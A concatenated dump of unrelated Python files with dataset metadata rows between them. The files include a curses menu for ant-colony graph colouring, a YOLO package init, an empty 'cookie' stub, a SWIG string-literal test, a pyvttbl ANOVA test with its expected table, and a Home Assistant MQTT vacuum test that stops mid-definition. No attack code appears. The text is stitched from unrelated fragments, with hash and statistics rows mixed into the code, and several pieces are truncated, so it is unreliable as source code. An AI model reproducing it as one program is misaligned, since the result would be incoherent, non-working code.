outputWindow.addstr(10,3,"-----------")
outputWindow.addstr(11,3,"* Pheromone-based and random movement of ants")
outputWindow.addstr(12,3,"* Pheromones are generated on the current node whenever a color is flipped")
outputWindow.addstr(13,3,"* New color of each node is chosen randomly")
outputWindow.addstr(14,3,"* Aware of the amount of local conflicts of current node")
outputWindow.addstr(15,3,"* Each node is given an initial pheromone level")
outputWindow.addstr(16,3,"* All pheromone levels decay over time")
outputWindow.addstr(18,3,"Algorithm 3")
outputWindow.addstr(19,3,"-----------")
outputWindow.addstr(20,3,"* Pheromone-based and random movement of ants")
outputWindow.addstr(21,3,"* Pheromones are generated on the current node whenever a color is flipped")
outputWindow.addstr(22,3,"* Pheromones are directly decayed each time an ant moves over a locally optimal node.")
outputWindow.addstr(23,3,"* New color of each node is chosen randomly")
outputWindow.addstr(24,3,"* Aware of the amount of local conflicts of current node")
outputWindow.addstr(25,3,"* Each node is given an initial pheromone level")
outputWindow.addstr(26,3,"* All pheromone levels decay over time")
outputWindow.addstr(28,3,"Algorithm 4")
outputWindow.addstr(29,3,"-----------")
outputWindow.addstr(30,3,"* Pheromone-based and random movement of ants")
outputWindow.addstr(31,3,"* Pheromones are generated on the current node whenever a color is flipped")
outputWindow.addstr(32,3,"* Pheromones are directly decayed each time an ant moves over a locally optimal node.")
outputWindow.addstr(33,3,"* New color of each node is chosen by determing the locally best color")
outputWindow.addstr(34,3,"* Aware of the amount of local conflicts of current node")
outputWindow.addstr(35,3,"* Each node is given an initial pheromone level")
outputWindow.addstr(36,3,"* All pheromone levels decay over time")
#
#
# MAIN LOOP
#
#
# only executes if this file is being run itself, rather than being used as a library
if(__name__ == "__main__"):
# curses initialization
stdscr = curses.initscr()
curses.noecho()
curses.cbreak()
stdscr.keypad(1)
curses.start_color()
curses.curs_set(0)
# color initialization
curses.init_pair(1,curses.COLOR_RED,curses.COLOR_BLACK)
curses.init_pair(2,curses.COLOR_GREEN,curses.COLOR_BLACK)
curses.init_pair(3,curses.COLOR_BLUE,curses.COLOR_BLACK)
curses.init_pair(4,curses.COLOR_MAGENTA,curses.COLOR_BLACK)
# main while loop, ensures input is continually captured in main screen until correct input is found
mainLoopRunning = True
while(mainLoopRunning):
# clears and refreshes the screen
stdscr.clear()
stdscr.refresh()
# outputs the main menu text
printMainMenu(stdscr)
# waits for user input and captures whatever key is pressed
userInput = stdscr.getch()
if(userInput==ord('1')):
# ensures that input is continually captured until correct input is found
inSingleTestMenu = True
while(inSingleTestMenu):
# creates a new graph for whichever algorithm is chosen
singleGraphSolution = GraphSolution(NUM_OF_NODES_IN_GRAPH,stdscr)
stdscr.clear()
stdscr.refresh()
# outputs the single test menu text
singleAlgTestMenu(stdscr)
# waits for user input, captures keys, etc
userInput = stdscr.getch()
# statements handle what input is pressed
if(userInput==ord('1')):
stdscr.clear()
stdscr.refresh()
testAlg1(stdscr,1,singleGraphSolution)
elif(userInput==ord('2')):
stdscr.clear()
stdscr.refresh()
testAlg2(stdscr,1,singleGraphSolution)
elif(userInput==ord('3')):
stdscr.clear()
stdscr.refresh()
testAlg3(stdscr,1,singleGraphSolution)
elif(userInput==ord('4')):
stdscr.clear()
stdscr.refresh()
testAlg4(stdscr,1,singleGraphSolution)
elif(userInput==ord('5')):
stdscr.clear()
stdscr.refresh()
inSingleTestMenu = False
elif(userInput==ord('2')):
stdscr.clear()
stdscr.refresh()
comparativeTrialsOfAlgorithms(stdscr)
elif(userInput==ord('3')):
# resets the shell back to normal mode
curses.endwin()
exit()
| 30.005642 | 230 | 0.581242 | 6,853 | 69,133 | 5.836276 | 0.093682 | 0.069757 | 0.005701 | 0.007601 | 0.783603 | 0.755151 | 0.735924 | 0.720947 | 0.695495 | 0.680743 | 0 | 0.025213 | 0.340807 | 69,133 | 2,303 | 231 | 30.018671 | 0.852431 | 0.184557 | 0 | 0.666667 | 0 | 0 | 0.078724 | 0.000716 | 0 | 0 | 0 | 0 | 0 | 1 | 0.040346 | false | 0.020173 | 0.000961 | 0 | 0.065322 | 0.001921 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
4b93505945ea8d05f5ead44877abfdf80f214529 | 165 | py | Python | __init__.py | Jex-y/yolo | cd2471e93201b384fbe59df1b7ea6d2f5ec88247 | [
"MIT"
] | null | null | null | __init__.py | Jex-y/yolo | cd2471e93201b384fbe59df1b7ea6d2f5ec88247 | [
"MIT"
] | null | null | null | __init__.py | Jex-y/yolo | cd2471e93201b384fbe59df1b7ea6d2f5ec88247 | [
"MIT"
] | null | null | null | from .config import config
from .dataset import *
from .utils import *
from . import backbones
from . import detectors
config = config["yolo"]
__version__ = "1.0.0" | 20.625 | 26 | 0.739394 | 23 | 165 | 5.130435 | 0.478261 | 0.169492 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021583 | 0.157576 | 165 | 8 | 27 | 20.625 | 0.827338 | 0 | 0 | 0 | 0 | 0 | 0.054217 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.714286 | 0 | 0.714286 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
298fc1702bd15a0b7f0424bc2c785a93a2fada6a | 16 | py | Python | data/studio21_generated/introductory/4437/starter_code.py | vijaykumawat256/Prompt-Summarization | 614f5911e2acd2933440d909de2b4f86653dc214 | [
"Apache-2.0"
] | null | null | null | data/studio21_generated/introductory/4437/starter_code.py | vijaykumawat256/Prompt-Summarization | 614f5911e2acd2933440d909de2b4f86653dc214 | [
"Apache-2.0"
] | null | null | null | data/studio21_generated/introductory/4437/starter_code.py | vijaykumawat256/Prompt-Summarization | 614f5911e2acd2933440d909de2b4f86653dc214 | [
"Apache-2.0"
] | null | null | null | def cookie(x):
| 8 | 14 | 0.625 | 3 | 16 | 3.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1875 | 16 | 2 | 15 | 8 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
29e53c6a7dc74fd887c14f5046b4605a031c028f | 870 | py | Python | swigwin-3.0.12/Examples/test-suite/python/cpp11_raw_string_literals_runme.py | bostich83/atomic_swig | 5438f676d690ffddb09d88bbc1b51e3b38fa8c6a | [
"MIT"
] | null | null | null | swigwin-3.0.12/Examples/test-suite/python/cpp11_raw_string_literals_runme.py | bostich83/atomic_swig | 5438f676d690ffddb09d88bbc1b51e3b38fa8c6a | [
"MIT"
] | 2 | 2020-03-24T18:19:22.000Z | 2020-03-31T11:22:32.000Z | swigwin-3.0.12/Examples/test-suite/python/cpp11_raw_string_literals_runme.py | bostich83/atomic_swig | 5438f676d690ffddb09d88bbc1b51e3b38fa8c6a | [
"MIT"
] | 1 | 2020-06-18T12:09:05.000Z | 2020-06-18T12:09:05.000Z | from cpp11_raw_string_literals import *
if cvar.L != 100:
raise RuntimeError
if cvar.u8 != 100:
raise RuntimeError
if cvar.u != 100:
raise RuntimeError
if UStruct.U != 100:
raise RuntimeError
if cvar.R != 100:
raise RuntimeError
if cvar.LR != 100:
raise RuntimeError
if cvar.u8R != 100:
raise RuntimeError
if cvar.uR != 100:
raise RuntimeError
if URStruct.UR != 100:
raise RuntimeError
if cvar.aa != "Wide string":
raise RuntimeError
if cvar.bb != "UTF-8 string":
raise RuntimeError, cvar.wide
if cvar.xx != ")I'm an \"ascii\" \\ string.":
raise RuntimeError, cvar.xx
if cvar.ee != ")I'm an \"ascii\" \\ string.":
raise RuntimeError, cvar.ee
if cvar.ff != "I'm a \"raw wide\" \\ string.":
raise RuntimeError, cvar.ff
if cvar.gg != "I'm a \"raw UTF-8\" \\ string.":
raise RuntimeError, cvar.gg
| 17.755102 | 47 | 0.637931 | 128 | 870 | 4.3125 | 0.265625 | 0.461957 | 0.344203 | 0.358696 | 0.663043 | 0.242754 | 0.130435 | 0.130435 | 0 | 0 | 0 | 0.048961 | 0.225287 | 870 | 48 | 48 | 18.125 | 0.77003 | 0 | 0 | 0.322581 | 0 | 0 | 0.113793 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.032258 | null | null | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
29fb2fe50c62feaab124461c56188d9707d41a39 | 31 | py | Python | python/testData/intentions/PyAnnotateVariableTypeIntentionTest/annotationObjectForVariableWithUnknownType.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 2 | 2019-04-28T07:48:50.000Z | 2020-12-11T14:18:08.000Z | python/testData/intentions/PyAnnotateVariableTypeIntentionTest/annotationObjectForVariableWithUnknownType.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 173 | 2018-07-05T13:59:39.000Z | 2018-08-09T01:12:03.000Z | python/testData/intentions/PyAnnotateVariableTypeIntentionTest/annotationObjectForVariableWithUnknownType.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 2 | 2020-03-15T08:57:37.000Z | 2020-04-07T04:48:14.000Z | def func(x):
v<caret>ar = x | 15.5 | 18 | 0.548387 | 7 | 31 | 2.428571 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.258065 | 31 | 2 | 18 | 15.5 | 0.73913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
4b02e5e1d47eb1d7a3d1707841d44161730381dc | 17,073 | py | Python | pyvttbl/tests/test_stats_anova_within.py | yk/pyvttbl | af66c1aba410ba5386249cd5b95f2ae0ed01d870 | [
"BSD-3-Clause"
] | null | null | null | pyvttbl/tests/test_stats_anova_within.py | yk/pyvttbl | af66c1aba410ba5386249cd5b95f2ae0ed01d870 | [
"BSD-3-Clause"
] | null | null | null | pyvttbl/tests/test_stats_anova_within.py | yk/pyvttbl | af66c1aba410ba5386249cd5b95f2ae0ed01d870 | [
"BSD-3-Clause"
] | null | null | null |
# Copyright (c) 2011, Roger Lew [see LICENSE.txt]
# This software is funded in part by NIH Grant P20 RR016454.
import unittest
import warnings
import os
import math
from random import shuffle, random
from collections import Counter,OrderedDict
from dictset import DictSet,_rep_generator
from math import isnan, isinf, floor
import numpy as np
from pprint import pprint as pp
from pyvttbl import PyvtTbl
from pyvttbl import DataFrame
from pyvttbl.plotting import *
from pyvttbl.stats import *
from pyvttbl.misc.support import *
class Test_anova_within(unittest.TestCase):
def test0(self):
## Within test
R = """\
ERROR ~ TIMEOFDAY * COURSE * MODEL
TESTS OF WITHIN SUBJECTS EFFECTS
Measure: ERROR
Source Type III eps df MS F Sig. et2_G Obs. SE 95% CI lambda Obs.
SS Power
=====================================================================================================================================================
TIMEOFDAY Sphericity Assumed 140.167 - 1 140.167 120.143 0.008 3.391 27 0.456 0.894 1621.929 1
Greenhouse-Geisser 140.167 1 1 140.167 120.143 0.008 3.391 27 0.456 0.894 1621.929 1
Huynh-Feldt 140.167 1 1 140.167 120.143 0.008 3.391 27 0.456 0.894 1621.929 1
Box 140.167 1 1 140.167 120.143 0.008 3.391 27 0.456 0.894 1621.929 1
-----------------------------------------------------------------------------------------------------------------------------------------------------
Error(TIMEOFDAY) Sphericity Assumed 2.333 - 2 1.167
Greenhouse-Geisser 2.333 1 2 1.167
Huynh-Feldt 2.333 1 2 1.167
Box 2.333 1 2 1.167
-----------------------------------------------------------------------------------------------------------------------------------------------------
COURSE Sphericity Assumed 56.778 - 2 28.389 1022.000 3.815e-06 1.374 18 0.056 0.109 9198.000 1
Greenhouse-Geisser 56.778 0.501 1.002 56.667 1022.000 9.664e-04 1.374 18 0.056 0.109 9198.000 1
Huynh-Feldt 56.778 0.504 1.008 56.336 1022.000 9.349e-04 1.374 18 0.056 0.109 9198.000 1
Box 56.778 0.500 1 56.778 1022.000 9.770e-04 1.374 18 0.056 0.109 9198.000 1
-----------------------------------------------------------------------------------------------------------------------------------------------------
Error(COURSE) Sphericity Assumed 0.111 - 4 0.028
Greenhouse-Geisser 0.111 0.501 2.004 0.055
Huynh-Feldt 0.111 0.504 2.016 0.055
Box 0.111 0.500 2 0.056
-----------------------------------------------------------------------------------------------------------------------------------------------------
MODEL Sphericity Assumed 51.444 - 2 25.722 92.600 4.470e-04 1.245 18 0.176 0.345 833.400 1
Greenhouse-Geisser 51.444 0.507 1.013 50.770 92.600 0.010 1.245 18 0.176 0.345 833.400 1.000
Huynh-Feldt 51.444 0.527 1.054 48.817 92.600 0.009 1.245 18 0.176 0.345 833.400 1.000
Box 51.444 0.500 1 51.444 92.600 0.011 1.245 18 0.176 0.345 833.400 1.000
-----------------------------------------------------------------------------------------------------------------------------------------------------
Error(MODEL) Sphericity Assumed 1.111 - 4 0.278
Greenhouse-Geisser 1.111 0.507 2.027 0.548
Huynh-Feldt 1.111 0.527 2.108 0.527
Box 1.111 0.500 2 0.556
-----------------------------------------------------------------------------------------------------------------------------------------------------
TIMEOFDAY * Sphericity Assumed 5.444 - 2 2.722 2.085 0.240 0.132 9 0.540 1.057 9.383 0.446
COURSE Greenhouse-Geisser 5.444 0.814 1.628 3.345 2.085 0.255 0.132 9 0.540 1.057 9.383 0.373
Huynh-Feldt 5.444 1 2 2.722 2.085 0.240 0.132 9 0.540 1.057 9.383 0.446
Box 5.444 0.500 1 5.444 2.085 0.286 0.132 9 0.540 1.057 9.383 0.244
-----------------------------------------------------------------------------------------------------------------------------------------------------
Error(TIMEOFDAY * Sphericity Assumed 5.222 - 4 1.306
COURSE) Greenhouse-Geisser 5.222 0.814 3.255 1.604
Huynh-Feldt 5.222 1 4 1.306
Box 5.222 0.500 2 2.611
-----------------------------------------------------------------------------------------------------------------------------------------------------
TIMEOFDAY * Sphericity Assumed 16.778 - 2 8.389 37.750 0.003 0.406 9 0.223 0.436 169.875 1.000
MODEL Greenhouse-Geisser 16.778 0.540 1.079 15.545 37.750 0.021 0.406 9 0.223 0.436 169.875 0.993
Huynh-Feldt 16.778 0.571 1.142 14.697 37.750 0.018 0.406 9 0.223 0.436 169.875 0.996
Box 16.778 0.500 1 16.778 37.750 0.025 0.406 9 0.223 0.436 169.875 0.985
-----------------------------------------------------------------------------------------------------------------------------------------------------
Error(TIMEOFDAY * Sphericity Assumed 0.889 - 4 0.222
MODEL) Greenhouse-Geisser 0.889 0.540 2.159 0.412
Huynh-Feldt 0.889 0.571 2.283 0.389
Box 0.889 0.500 2 0.444
-----------------------------------------------------------------------------------------------------------------------------------------------------
COURSE * Sphericity Assumed 8.778 - 4 2.194 3.762 0.052 0.212 6 0.367 0.719 11.286 0.504
MODEL Greenhouse-Geisser 8.778 0.354 1.415 6.204 3.762 0.157 0.212 6 0.367 0.719 11.286 0.223
Huynh-Feldt 8.778 0.354 1.415 6.204 3.762 0.157 0.212 6 0.367 0.719 11.286 0.223
Box 8.778 0.500 2 4.389 3.762 0.120 0.212 6 0.367 0.719 11.286 0.292
-----------------------------------------------------------------------------------------------------------------------------------------------------
Error(COURSE * Sphericity Assumed 4.667 - 8 0.583
MODEL) Greenhouse-Geisser 4.667 0.354 2.830 1.649
Huynh-Feldt 4.667 0.354 2.830 1.649
Box 4.667 0.500 4 1.167
-----------------------------------------------------------------------------------------------------------------------------------------------------
TIMEOFDAY * Sphericity Assumed 2.778 - 4 0.694 1.923 0.200 0.067 3 0.408 0.800 2.885 0.152
COURSE * Greenhouse-Geisser 2.778 0.290 1.159 2.397 1.923 0.293 0.067 3 0.408 0.800 2.885 0.087
MODEL Huynh-Feldt 2.778 0.290 1.159 2.397 1.923 0.293 0.067 3 0.408 0.800 2.885 0.087
Box 2.778 0.500 2 1.389 1.923 0.260 0.067 3 0.408 0.800 2.885 0.109
-----------------------------------------------------------------------------------------------------------------------------------------------------
Error(TIMEOFDAY * Sphericity Assumed 2.889 - 8 0.361
COURSE * Greenhouse-Geisser 2.889 0.290 2.318 1.246
MODEL) Huynh-Feldt 2.889 0.290 2.318 1.246
Box 2.889 0.500 4 0.722
TABLES OF ESTIMATED MARGINAL MEANS
Estimated Marginal Means for TIMEOFDAY
TIMEOFDAY Mean Std. Error 95% Lower Bound 95% Upper Bound
==================================================================
T1 5.778 0.457 4.882 6.674
T2 2.556 0.229 2.108 3.003
Estimated Marginal Means for COURSE
COURSE Mean Std. Error 95% Lower Bound 95% Upper Bound
===============================================================
C1 5.222 0.608 4.031 6.414
C2 4.500 0.562 3.399 5.601
C3 2.778 0.432 1.931 3.625
Estimated Marginal Means for MODEL
MODEL Mean Std. Error 95% Lower Bound 95% Upper Bound
==============================================================
M1 5.333 0.686 3.989 6.678
M2 4.222 0.558 3.129 5.315
M3 2.944 0.328 2.301 3.588
Estimated Marginal Means for TIMEOFDAY * COURSE
TIMEOFDAY COURSE Mean Std. Error 95% Lower Bound 95% Upper Bound
===========================================================================
T1 C1 7.222 0.641 5.966 8.478
T1 C2 6.111 0.790 4.564 7.659
T1 C3 4 0.577 2.868 5.132
T2 C1 3.222 0.401 2.437 4.007
T2 C2 2.889 0.261 2.378 3.400
T2 C3 1.556 0.294 0.979 2.132
Estimated Marginal Means for TIMEOFDAY * MODEL
TIMEOFDAY MODEL Mean Std. Error 95% Lower Bound 95% Upper Bound
==========================================================================
T1 M1 7.444 0.835 5.807 9.081
T1 M2 6.111 0.512 5.107 7.115
T1 M3 3.778 0.465 2.867 4.689
T2 M1 3.222 0.434 2.372 4.073
T2 M2 2.333 0.408 1.533 3.133
T2 M3 2.111 0.261 1.600 2.622
Estimated Marginal Means for COURSE * MODEL
COURSE MODEL Mean Std. Error 95% Lower Bound 95% Upper Bound
=======================================================================
C1 M1 6.667 1.085 4.540 8.794
C1 M2 5.167 1.195 2.825 7.509
C1 M3 3.833 0.601 2.656 5.011
C2 M1 6.167 1.195 3.825 8.509
C2 M2 4.167 0.792 2.614 5.720
C2 M3 3.167 0.477 2.231 4.102
C3 M1 3.167 0.872 1.457 4.877
C3 M2 3.333 0.882 1.605 5.062
C3 M3 1.833 0.307 1.231 2.436
Estimated Marginal Means for TIMEOFDAY * COURSE * MODEL
TIMEOFDAY COURSE MODEL Mean Std. Error 95% Lower Bound 95% Upper Bound
===================================================================================
T1 C1 M1 9 0.577 7.868 10.132
T1 C1 M2 7.667 0.333 7.013 8.320
T1 C1 M3 5 0.577 3.868 6.132
T1 C2 M1 8.667 0.882 6.938 10.395
T1 C2 M2 5.667 0.882 3.938 7.395
T1 C2 M3 4 0.577 2.868 5.132
T1 C3 M1 4.667 1.202 2.311 7.022
T1 C3 M2 5 0.577 3.868 6.132
T1 C3 M3 2.333 0.333 1.680 2.987
T2 C1 M1 4.333 0.333 3.680 4.987
T2 C1 M2 2.667 0.882 0.938 4.395
T2 C1 M3 2.667 0.333 2.013 3.320
T2 C2 M1 3.667 0.333 3.013 4.320
T2 C2 M2 2.667 0.333 2.013 3.320
T2 C2 M3 2.333 0.333 1.680 2.987
T2 C3 M1 1.667 0.333 1.013 2.320
T2 C3 M2 1.667 0.882 -0.062 3.395
T2 C3 M3 1.333 0.333 0.680 1.987
"""
df=DataFrame()
fname='data/error~subjectXtimeofdayXcourseXmodel.csv'
df.read_tbl(fname)
aov=df.anova('ERROR',wfactors=['TIMEOFDAY','COURSE','MODEL'])
## print(aov)
self.assertEqual(str(aov),R)
def suite():
return unittest.TestSuite((
unittest.makeSuite(Test_anova_within)
))
if __name__ == "__main__":
# run tests
runner = unittest.TextTestRunner()
runner.run(suite())
| 84.519802 | 150 | 0.289463 | 1,686 | 17,073 | 2.921708 | 0.212337 | 0.01218 | 0.042225 | 0.035526 | 0.332318 | 0.289281 | 0.266951 | 0.261673 | 0.24259 | 0.238733 | 0 | 0.304595 | 0.515609 | 17,073 | 201 | 151 | 84.940299 | 0.291052 | 0.008552 | 0 | 0.074286 | 0 | 0.16 | 0.946326 | 0.155169 | 0 | 0 | 0 | 0 | 0.005714 | 1 | 0.011429 | false | 0 | 0.085714 | 0.005714 | 0.108571 | 0.005714 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
d9ce0b88e05c4431db6a7587abaf54349518a6ef | 110 | py | Python | 09.py | MateusVS/Exercicios_Python | 7d56837a2e0efb5e1c6f8aecc06684769db63f06 | [
"Apache-2.0"
] | 1 | 2019-04-09T04:08:52.000Z | 2019-04-09T04:08:52.000Z | 09.py | MateusVS/Exercicios_Python | 7d56837a2e0efb5e1c6f8aecc06684769db63f06 | [
"Apache-2.0"
] | null | null | null | 09.py | MateusVS/Exercicios_Python | 7d56837a2e0efb5e1c6f8aecc06684769db63f06 | [
"Apache-2.0"
] | null | null | null | f = int(input('Informe a temperatura em F: '))
c = (5 * (f-32) / 9)
print('A temperatura em graus C e ',c) | 27.5 | 47 | 0.581818 | 21 | 110 | 3.047619 | 0.666667 | 0.375 | 0.4375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.047059 | 0.227273 | 110 | 4 | 48 | 27.5 | 0.705882 | 0 | 0 | 0 | 0 | 0 | 0.509259 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
d9df5bf5212d882305e2b1de5b28663d13b35329 | 408 | py | Python | tests/autogen/input/ifort/9-1_linux_intel/colon-input-test-1.py | michaelackermannaiub/py-fortranformat | edc530d5edde41f41939c716da8e1ef01fa8a6fe | [
"MIT"
] | null | null | null | tests/autogen/input/ifort/9-1_linux_intel/colon-input-test-1.py | michaelackermannaiub/py-fortranformat | edc530d5edde41f41939c716da8e1ef01fa8a6fe | [
"MIT"
] | null | null | null | tests/autogen/input/ifort/9-1_linux_intel/colon-input-test-1.py | michaelackermannaiub/py-fortranformat | edc530d5edde41f41939c716da8e1ef01fa8a6fe | [
"MIT"
] | null | null | null |
import sys
import os
import unittest
from nose.plugins.attrib import attr
# To change this, re-run 'build-unittests.py'
from fortranformat._input import input as _input
from fortranformat._lexer import lexer as _lexer
from fortranformat._parser import parser as _parser
import unittest
class COLONEditDescriptorBatch1TestCase(unittest.TestCase):
pass
if __name__ == '__main__':
unittest.main() | 20.4 | 59 | 0.79902 | 53 | 408 | 5.886792 | 0.54717 | 0.163462 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002857 | 0.142157 | 408 | 20 | 60 | 20.4 | 0.888571 | 0.105392 | 0 | 0.166667 | 0 | 0 | 0.022039 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.083333 | 0.666667 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 4 |
d9e8832181dae839de4bdac78056b10fe50329d0 | 157 | py | Python | testing/tests/001-main/000-install.py | fekblom/critic | a6b60c9053e13d4c878d50531860d7389568626d | [
"Apache-2.0"
] | 216 | 2015-01-05T12:48:10.000Z | 2022-03-08T00:12:23.000Z | testing/tests/001-main/000-install.py | fekblom/critic | a6b60c9053e13d4c878d50531860d7389568626d | [
"Apache-2.0"
] | 55 | 2015-02-28T12:10:26.000Z | 2020-11-18T17:45:16.000Z | testing/tests/001-main/000-install.py | fekblom/critic | a6b60c9053e13d4c878d50531860d7389568626d | [
"Apache-2.0"
] | 34 | 2015-05-02T15:15:10.000Z | 2020-06-15T19:20:37.000Z | # Start instance and install (and upgrade, optionally) Critic with the default
# arguments.
instance.start()
instance.install(repository)
instance.upgrade()
| 26.166667 | 78 | 0.796178 | 19 | 157 | 6.578947 | 0.631579 | 0.208 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.10828 | 157 | 5 | 79 | 31.4 | 0.892857 | 0.55414 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
8a0a9438d0a698e037ae5a8d25f4d0d4b59d41d9 | 28,337 | py | Python | tests/components/mqtt/test_legacy_vacuum.py | dansarginson/home-assistant | b9e9445a5155af5239b25305e79146d8bfcbd809 | [
"Apache-2.0"
] | null | null | null | tests/components/mqtt/test_legacy_vacuum.py | dansarginson/home-assistant | b9e9445a5155af5239b25305e79146d8bfcbd809 | [
"Apache-2.0"
] | 38 | 2021-06-17T10:18:53.000Z | 2022-03-31T06:28:02.000Z | tests/components/mqtt/test_legacy_vacuum.py | dansarginson/home-assistant | b9e9445a5155af5239b25305e79146d8bfcbd809 | [
"Apache-2.0"
] | null | null | null | """The tests for the Legacy Mqtt vacuum platform."""
from copy import deepcopy
import json
from unittest.mock import patch
import pytest
from homeassistant.components import vacuum
from homeassistant.components.mqtt import CONF_COMMAND_TOPIC
from homeassistant.components.mqtt.vacuum import schema_legacy as mqttvacuum
from homeassistant.components.mqtt.vacuum.schema import services_to_strings
from homeassistant.components.mqtt.vacuum.schema_legacy import (
ALL_SERVICES,
MQTT_LEGACY_VACUUM_ATTRIBUTES_BLOCKED,
SERVICE_TO_STRING,
)
from homeassistant.components.vacuum import (
ATTR_BATTERY_ICON,
ATTR_BATTERY_LEVEL,
ATTR_FAN_SPEED,
ATTR_FAN_SPEED_LIST,
ATTR_STATUS,
)
from homeassistant.const import CONF_NAME, CONF_PLATFORM, STATE_OFF, STATE_ON
from homeassistant.setup import async_setup_component
from .test_common import (
help_test_availability_when_connection_lost,
help_test_availability_without_topic,
help_test_custom_availability_payload,
help_test_default_availability_payload,
help_test_discovery_broken,
help_test_discovery_removal,
help_test_discovery_update,
help_test_discovery_update_attr,
help_test_discovery_update_unchanged,
help_test_entity_debug_info_message,
help_test_entity_device_info_remove,
help_test_entity_device_info_update,
help_test_entity_device_info_with_connection,
help_test_entity_device_info_with_identifier,
help_test_entity_id_update_discovery_update,
help_test_entity_id_update_subscriptions,
help_test_publishing_with_custom_encoding,
help_test_reloadable,
help_test_setting_attribute_via_mqtt_json_message,
help_test_setting_attribute_with_template,
help_test_setting_blocked_attribute_via_mqtt_json_message,
help_test_unique_id,
help_test_update_with_json_attrs_bad_JSON,
help_test_update_with_json_attrs_not_dict,
)
from tests.common import async_fire_mqtt_message
from tests.components.vacuum import common
DEFAULT_CONFIG = {
CONF_PLATFORM: "mqtt",
CONF_NAME: "mqtttest",
CONF_COMMAND_TOPIC: "vacuum/command",
mqttvacuum.CONF_SEND_COMMAND_TOPIC: "vacuum/send_command",
mqttvacuum.CONF_BATTERY_LEVEL_TOPIC: "vacuum/state",
mqttvacuum.CONF_BATTERY_LEVEL_TEMPLATE: "{{ value_json.battery_level }}",
mqttvacuum.CONF_CHARGING_TOPIC: "vacuum/state",
mqttvacuum.CONF_CHARGING_TEMPLATE: "{{ value_json.charging }}",
mqttvacuum.CONF_CLEANING_TOPIC: "vacuum/state",
mqttvacuum.CONF_CLEANING_TEMPLATE: "{{ value_json.cleaning }}",
mqttvacuum.CONF_DOCKED_TOPIC: "vacuum/state",
mqttvacuum.CONF_DOCKED_TEMPLATE: "{{ value_json.docked }}",
